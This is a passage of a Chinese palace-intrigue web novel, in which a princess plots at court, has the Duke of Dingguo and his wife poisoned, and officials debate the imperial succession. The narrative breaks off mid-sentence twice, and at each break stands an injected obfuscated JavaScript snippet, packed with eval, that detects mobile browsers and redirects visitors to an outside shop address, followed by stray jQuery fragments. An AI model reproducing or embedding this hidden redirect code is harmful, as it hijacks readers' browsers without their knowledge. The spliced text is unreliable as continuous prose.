主仆二人一片岁月静好，气定神闲。
刚刚表明态度南门鸢，看到这一幕，心中却无限焦急烦躁。
“害怕了？”萧沁澜翻了一页书，头也不抬地问道。
“不敢。”南门鸢立即垂下眼眸，站定不动，装作若无其事。
“不敢，并非不是。”萧沁澜将手中书册递给本采，让她继续翻看，继而端起茶盏吹着热气，神情隐没在烟雾之中。
南门鸢自始至终都觉得这位贤昭公主不简单。
经过昨日的提点更是猜不透对方心思。
不过可以确信的是，殿下对醇亲王确实极为看重。
只要自己保持原有的痴情，便不会有生命危险，娘亲也能得以存活。
主子们都不喜欢心思深沉的仆人，有话直言才最招人亲近的，只要把握好分寸，莫要故作愚蠢即可。
南门鸢收敛了所有试探，不待她启齿，便佯装困惑地询问道：“殿下，自淑妃娘娘被禁足以来已有三日，宫中波澜不惊，诸宫女皆循规蹈矩，未有丝毫逾越。臣愚钝，淑妃昔日恩宠正盛，若陛下凯旋，想必会无甚大碍。至多……”
她稍作迟疑，试探而言，“移居冷宫罢了。”
“淑妃乃皇兄的妃子，与本宫无涉。”萧沁澜搁下茶盏，笑靥如花地望向她，“本宫与母后不过秉持后宫安宁，依例处置。淑妃身份非同一般，故先予禁足，其余事宜确需皇兄回来后再行定夺。”
“殿下举止端庄，秉公执法，实为后宫众人的福气。臣见识浅薄，望殿下海涵。”
话虽这般说，南门鸢心中却更添好奇。
追随殿下近一月有余，她看似性情温婉，但这宁安宫内无人对她过多畏惧与监视，唯有深深的敬意与顺从。
莫非这贤昭公主权势滔天，已能影响太后心意，甚至能将身边之人尽数换为心腹？
萧沁澜对她的猜测不以为意，反倒饶有兴致地欣赏着窗外的新绽嫩绿，“近日可曾听闻何许传言？”
本采手捧着书卷逐字细阅，未予回应。
见此，南门鸢顿时醒悟，略一思索，字斟句酌地道：“臣女昨日前往内务府核对月例时，偶闻京师近期接连发生数桩大事。”
“哦？说来听听。”
南门鸢嘴唇微动，旋即直言不讳，“据传祥妃娘娘在闺中之时，手段狠厉，尤爱……揣测寻常百姓家孕妇腹中胎儿性别。若猜中，便赏赐孕妇重金，甚至恩准其入府侍奉。若猜错……”
她瞥向首位，见对方依旧笑意盈盈，重归平静，“若祥妃娘娘未能猜中，便会致使母子双亡，再以银两作为补偿。
臣还听闻祥妃娘娘年幼之时，伯爵府中姨娘众多，且皆身怀六甲。可娘娘因恨父亲冷落生母，便在父亲离家之际，将所有姨娘召集至正堂……
直至前朝百姓怨声四起，太祖皇帝顺应天命，揭竿而起，方使祥妃娘娘收敛了心性。
据传是一年前，祥妃娘娘方重拾旧习，残害了无数……无辜百姓。”
南门鸢毫不遮掩地摇头冷笑，“祥妃娘娘容貌清丽脱俗，谁又能料到手段竟如此残忍。一年来，几十户百姓因此家破人亡，却皆被强行压制。
贪婪者以银封口，正直者则直接灭门。此等行径，与淑妃娘娘真是相似。但若要论及残忍程度，淑妃不过嫉妒美貌女子，至少未曾残害婴儿，只是行事太过张扬。
臣女听闻，近日大理寺已收到无数类似案件，皆在弹劾淑妃与祥妃。”
言及此，南门鸢望向首位，“能在一夜之间汇聚众多受害者，并将此事闹大，使大理寺不敢因权势而敷衍了事，也因着牵涉皇族不敢下决断。幕后之人，臣女尤为敬佩。若能得见，臣女定当肝脑涂地，誓死追随。”
“毕竟是外戚，能将此事闹大并公之于众便已不易。”萧沁澜好似事不关己地懒懒讨论，“若能相遇，我倒也愿与之结交。”
话音刚落，南门鸢正欲再言，却听门外宫女步履轻快地步入殿内，欠身行礼后道：“殿下，太后娘娘于乾清宫急召。”
“嗯，退下吧。”言罢，萧沁澜起身走向梳妆台，将发间华丽的簪子尽数取下，仅换上一枚朴素却不失身份的饰物，随后吩咐南门鸢留守此地，便在本采的搀扶下从容离开了寝宫。
＆
兴安伯府之外，黑压压地围聚了一大群平民百姓，无一不是对那辉煌显赫的伯爵府大门指指点点，议论纷纷。
后方一位背负行囊的书生好奇探头，询问其故。
因无法挤入人群，身着布衣的壮汉只得留在队尾，听罢一脸不可置信，“什么！这等大事你居然都不知道！莫非这几日你才重返京师？”
书生温文尔雅地笑着，点头应和。
壮汉满脸兴奋，滔滔不绝地讲述着事情的来龙去脉。
“你算是问对人了。我对于京师中的重大事件了如指掌。
那被人群簇拥的，正是兴安伯爵府，名声显赫的当朝外戚，你应该有所耳闻吧？倘若不知，也无妨！
当今陛下后宫之中有淑妃与祥妃两位妃嫔。其中的淑妃就是兴安伯的嫡女，自被封为郡主后便气焰嚣张，不可一世。两年来肆
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13769583|135826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
无忌惮，随意鞭笞貌美的女子，甚至残害无辜生灵。然而因为是太祖皇帝亲封的，太后娘娘不便直接发作，只得隐忍不发。如今万民愤慨，亲自告到大理寺。
还有啊，三日前有一对平民夫妇敲响了申冤鼓，状告当今祥妃娘娘残忍杀害他们怀孕的女儿，事后夫家得了一大笔钱财，迁居外地另娶佳偶。人心皆是肉长的，那对夫妇终是不甘，于是积攒银钱，顶着各方压力，拼死前来为女儿申冤。
此事一经传开，便轰动了整个京师。仿佛捅破了马蜂窝，原来京师中被祥妃娘娘害死的孕妇竟数不胜数，大多在六七个月时被残忍分尸……碎骨，一尸两命。那些家庭曾迫于权势不敢告官，现在纷纷站出来。
大理寺寺卿公正无私，抓住这个契机，立即命令衙役捉拿这皇家权势滔天的外戚。这才有了今日这轰轰烈烈的围观奇景。”
话音刚落，前方顿时响起一阵愤恨的叫骂声，前排众人满腔怒火地伸手扔着什么，后排见状有样学样，纷纷抄起手头之物掷向前方，一阵“哎呦哎呦”的呼痛声此起彼伏，不绝于耳。
“能不能看准点儿，砸到我了知道吗！我又不是那占着茅坑不拉屎、该死的贪官污吏。”
“哪位仁兄的鸡蛋砸在了小生身上，小生新买的衣袍本是准备殿试时，面见陛下穿的！劳烦各位看准了再撒气。”
“这是谁家的晚膳，这么烫！看着点儿行不行，不然我给你让位置，你到跟前来砸啊！别是老子的对家在这里浑水摸鱼报私仇吧！”
现场纷纷攘攘，吵闹不休，喧哗声仿佛要冲破云霄，揭穿了穹宇的宁静。
尽管抱怨声不断，但此时却无一人选择离开。
百姓们对尸位素餐者早已苦不堪言，消息传开，其余听说的京师百姓齐齐赶来，兴安伯爵府外一时间人山人海，摩肩接踵，望不到尽头。
“哎……”书生摇头感慨，“天家贵胄，从无公道可言。”
＆
“你说什么！陛下……凌儿驾崩了！”
天色渐暗，定国公府内众人各司其职，陆泽闻听噩耗，顿时双目圆睁，瞪视着前来传话的公公，愣在原地，半天没有回过神来。
“是，咱家奉殿下之命，特来宣布此事。”传旨的公公嘴角挂着笑意，拂尘轻甩，不紧不慢地说道。
陆泽心神恍惚，只觉天旋地转，耳畔“嗡鸣”不断，他张大了嘴巴，保持着跪地接旨的姿势，许久未曾动弹。
严兰乐跪在一旁，勉强保持着一丝清醒。
她紧咬舌尖着霍然起身，端庄威严地站在原地，高傲地望着来人，“你方才说的是‘殿下’，并非太后娘娘。如今宫中能被称为殿下的，唯有贤昭公主一人。她纵使身份尊贵，却并无实权，如何能越过太后娘娘传旨百官？你究竟是何人派来的？”
此言一出，陆泽如梦初醒，拍了拍膝盖上的尘土同样起身，抬手示意身后的府兵围困，不容置喙道：“将这假传圣旨的太监给我拿下。”
“大人可要三思啊。”那公公丝毫不慌，仍旧笑意满面，“陛下驾崩之事早已传入宫中，定国公大人与夫人骤然得知，急火攻心，竟当场昏厥去世了啊，臣抢救不及时……”
“大胆阉人，你竟敢诅咒本侯！将这些人全部拿下。本侯倒要看看，究竟是何人这般胆大包天。”
府兵们闻言立即抽出腰间长剑，霎时围攻而来。
四处暗藏的守卫却不知为何，迟迟未曾现身。
85. 定国公夫妇结局
定国公府内，隐匿在暗处的护卫已被尽数掌控，其余婢女、仆役被调至偏远庭院，各遵指令，各安其位。
除却常年侍奉国公爷夫妇的贴身侍卫，前院得变故无人问津。
黄昏渐染，云垂欲雨。
屋顶上传来一道清脆悦耳的声音，“定国公这是不信本宫了？”
“何人？”
突闻此声，陆泽猛地抬头望向府门檐上，与那含笑而至的人视线直直相触。
“贤昭公主？”
识得来人身份，陆泽心中暗松一口气，对于宫中此番所传的讯喜，更加不信。
犹记往昔，这贤昭公主武艺确属不凡，可她纵使技艺再高，也很难无声无息地解决府中众多暗卫。
陆泽揣度不透她的来意，遂先行抱拳行礼，微微躬身，“老臣参见公主殿下……”
今日的行事筹备徐久，萧沁澜飞身轻盈落地，长发随风轻舞，旋即稳稳站定，恰到好处地立于太监之前，笑靥如花，“国公爷近来可好？”
身侧的严兰乐与院中仆从紧随其后，纷纷俯身行礼参拜。
“起身吧。”萧沁澜注视着这一幕，嘴角勾起一抹自若的微笑。
她的语气太过高高在上，按身份而言则是寻常，但自己嫡子乃是当朝天子，陆泽身为天子生父，岂容这黄毛丫头笑着施恩？
不待她话音落下，陆泽便已率先起身，昂首挺胸，比先前更添几分从容与淡定。
萧沁澜不怒不恼，依旧平静如水，“国公爷可曾听清方才所言？陛下大获全胜，此战仅千人重伤，三千轻伤，除太祖皇帝外，堪称明昭王朝楷模。只可惜……”
“什么？”陆泽对太监所言半信半疑，只是下意识接话，待开口后方才醒悟，心中暗自气馁。
他双手紧握成拳，负手而立，高昂着头颅，力图维持那份所谓的高贵。
萧沁澜长叹一声，似乎蕴含着无尽的苦涩与惆怅。
她直视着眼前二人，一字一顿，清晰地道：“班师回朝途中，陛下北上巡视，兵分两路。当陛下带着五百人路过石烽隘时，突遭巨变。十余名前朝余孽潜入五百人中，以侍候陛下为由，团团围住马车，然后……唉，一刀毙命，遇刺身亡。”
“……”
她的语调乃至神情都认真至极，一再的复述让陆泽陷入真假难辨之中。
严兰乐此刻反而显得最为清醒，她冷笑一声，讥讽地反问道：“陛下驾崩可是王朝头等大事。公主殿下纵然身份尊贵，但若妄言生事、对当朝天子不敬，这等罪名一旦传扬出去，即便是太祖皇帝显灵于世，也难以保全殿下的性命。”
“本宫垂帘听政已逾三载，对前朝官职责任了如指掌，后宫琐事亦尽在掌握。这等罪行，本宫自然心知肚明。”
萧沁澜嘴角含笑，再次平静陈述道：“且，二公子在旁护驾心切，身受重伤，生死不明。”
最后一句清晰至极，陆泽却仿若未闻。
自凌儿登基以来，他曾无数次幻想那万人之上的荣耀时刻，尤其是边关大捷之后更为强烈，对于她所言的这种可能从未预料到。
不过，夫人所言极是。
若陛下驾崩，绝不会让这黄毛丫头来传递消息。
陆泽顿时摒弃所有杂念，眼神锐利地审视着来人，“殿下深受臣子敬仰，乃是明昭王朝皇后的不二之选。如今却口无遮拦，不仅对当朝天子不敬，更不守三从四德，随意出宫面见外臣。
此事若传扬出去，必会遭受天下百姓的谴责，文人墨客的唾弃。
殿下已届成年，却仍这般不懂事，看来太后娘娘确实繁忙至极啊……”
这便是讥讽她失宠落魄，竟想要破釜沉舟，拖众人下水。
定国公昔日虽恃才傲物，但因行事果决，勇猛杀敌，方得父皇青睐。
现在上头无人能制衡他，那些比他更有才能、德行之人皆不幸离世，他的本性倒是于吹捧下愈发膨胀了。
萧沁澜扼腕长叹，“此人乃宫中的一等大监，大人应该不会陌生吧？”
每当太后传达懿旨，都是由这位太监前来，陆泽对他自是熟识，可这又有何意义？
他不过是背叛了旧主……
不对，贤昭公主一直深居后宫，除了得太后允准管理宫务外，从不曾涉足任何朝政。
但看今日那太监对公主的恭敬态度，难道太后与她竟是同谋？
那之前的打击与无视，只是她们二人联手，对朝臣们上演的一出戏码？
这究竟是为何？
莫非凌儿登基也是她们精心策划的结果？
若太后真的早有预谋，那么她口中所说的凌儿驾崩，就算现下并非事实，也迟早会变成真的。
念及此，陆泽心头一紧，呼吸瞬间急促。
他勉强维持着表面的镇静，迈出一小步，眼神直勾勾地盯着对方，“殿下与太后真是好生有趣，编造出如此荒谬的谎言。”
“国公爷想什么呢？”萧沁澜泰然处之，款款而言：“太后非本宫生母，且对本宫防范甚密。本宫自不会屈尊降贵，与之结盟？国公爷真是老迈昏聩了。”
如若不是太后，事情将更加难以控制。
陆泽听罢心弦紧绷，不祥的预感骤然生出。
阴云蔽日，暮色渐浓，后续事宜尚需妥善安排。
萧沁澜自腰间取出两个小瓷瓶，慢悠悠抬手掷于地上。
瓷瓶落地，“叮呤咣啷”之声随即响起，旋转数圈后，终是在陆泽脚边徘徊不息。
“此药无色无味，纵使司空大人亲自剖验，也查不出半分原因。”
“无色无味？”
陆泽愈发纷扰不安，当即朝她怒目而视，对脚边瓷瓶视而不见。
“公主殿下究竟意欲何为？你可知此地到底是何处？”
“自然知晓，定国公府嘛……”萧沁澜黛眉微扬，“国公爷若仍心存疑虑，不妨发个信号，看看府内暗卫是否仍在。”
陆泽岂能随这黄口孺子之意行事，他未有任何举动。
见此情状，萧沁澜忽而轻声浅笑，那笑声不高不低，却在这沉寂压抑的前院中格外清晰。
“本宫已给予你时间瞑目，若仍不信，那便作罢。”
话落，她徐徐转身背对着二人，沉声不咸不淡道：“陛下驾崩，定国公夫妇乍闻噩耗，心急如焚下不幸离世。事态紧急，必须即刻禀报太后。”
“是，奴才遵命。”身后的太监躬身行礼，恭敬地应承下来。
吩咐完毕，萧沁澜如同来时那般，轻盈地飞身跃上屋顶，悄无声息地隐在暗处，不见身影。
待她离去，太监俯身拾起地上的两个瓷瓶，仔细端详其上的花纹，“这样精美的样式，却只能用一次，真是令人惋惜。哦……不对，是两次！”
话音刚落，他面带微笑，不容反抗道：“国公爷，国公夫人，请吧。”
＆
智渊二月初旬，陛下突遭前朝余孽围攻行刺，不幸龙驭宾天，二公子为护圣驾身受重伤，昏迷不醒。
随行将领策马扬鞭，八百里加急驰往京师，向太后、朝臣及宗室亲王禀报哀音。
定国公夫妇乍闻凶信，悲痛欲绝，心火难抑下救治无及，竟当场溘然长逝
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13776999|135826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
同年月初，陛下梓宫回京，奉先殿内设起灵堂，悬挂素幔，御座之上的御用物依次陈列。
与此同时，明远太后特颁懿旨，令明昭王朝全境暂停一切娱乐，全民举哀，不得有丝毫违礼之举。
二月中旬，奉先殿前举行祭奠大典，守卫持戟侍立，皇族大臣与文武百官皆整装肃立，依品级次第步入祭堂，于丧樽祭器前敬献香火、花卉、纸钱等祭奠之物，并哀思行礼，三跪九叩，以表哀悼。
天子崩后七日而殡。
二月中旬下葬之日，灵车自皇陵启程，沿绵长神道缓缓驶向墓穴。
文武百官及万千民众皆头戴孝帽，身披麻衣，手执白纸花，以示深切哀悼。
及至灵车抵达墓穴，举行最为隆重的入殓仪式，智渊帝遗体被恭谨安放于棺椁之中，降入墓穴。
祥妃与淑妃，作为智渊帝最为宠爱的妃嫔，特予赦免罪责，准许入墓陪葬。
下葬之后，明远太后钦点宗室成员司空颢，于陵墓前守灵百日，以彰显文武百官及天下黎民，对智渊帝功德的敬仰与怀念。
＆
一切尘埃落定，宫廷内外皆已收起白幡，却依旧保持着一份素净，未添任何装饰。
乾清宫内气氛凝重，明远太后面露疲态，倚靠在御案之上，手指轻柔地按摩着额角，“二月初九、十二、十五这三日，春闱如期进行。而今诸事已毕，不知各位大臣有何见解或建议？”
庆如韩作为内阁首辅、百官领袖，沉痛地垂下眼帘。
宁郡王、陛下，乃至太祖皇帝，皆是在凯旋归朝的途中，不幸遭遇前朝余孽的暗算……
明昭王朝顺应天命，莫非成为天子之后，便需镇守国门，不可轻易御驾亲征吗？
智渊帝英勇善战，勤勉理政，若得全力辅佐，定能成就一代明君伟业，青史留名，后世传颂。
然世事无常，天不遂人愿。
按理说，陛下的葬礼后续应持续至五月或七月之久。
但鉴于当前□□势紧张，外族之事亟需处理，三月十五这日又要举行殿试，由天子亲自策问于廷。
延科之事历来由天子亲自圈定，最好无有延误。
同时，民心也需尽快安抚与稳定。
庆如韩躬身行礼，因着近日餐食稀薄，心绪烦忧，嗓音略显沙哑。
“太后娘娘，今朝明昭王朝安定昌盛，然后续殿试、异邦朝贡、土地粮食等诸多新政，仍需新帝执掌大局。老臣斗胆进言，恳请太后娘娘早日册立新帝，以维系明昭万年的和平稳定。”
“太傅言之有理。”明远太后眉宇紧蹙，愁容满面，“醇亲王、定国公嫡次子与司空大人的嫡子，也就他们三人最为适宜。不知诸位卿家，有何高见。”
定国公陆泽身为兵部尚书，一夕之间猝然离世，兵部群龙无首，唯竭力争取。
兵部侍郎挺身而出，言辞铿锵，“微臣以为，先帝在时勤勉爱民，于此次边疆战事中决策果敢，未使一卒伤亡。
此等功绩，实得太祖皇帝庇佑。
因此微臣认为，定国公二公子温润如璧，沉稳有成，最是适宜登基为帝。
且二公子为救先帝曾受重伤，相信先帝在天之灵，亦会期许这般。”
太保尤项素日和稀泥，摇摆不定，今日倒是态度果断。
他冷笑一声，“若论亲疏，宁郡王与醇亲王才是最合适的天子人选。
可历代以来，残疾者不可登基为皇。
因此微臣以为，醇亲王当为新帝登基之选。
至于国公爷家的二公子，终究非萧氏国姓。”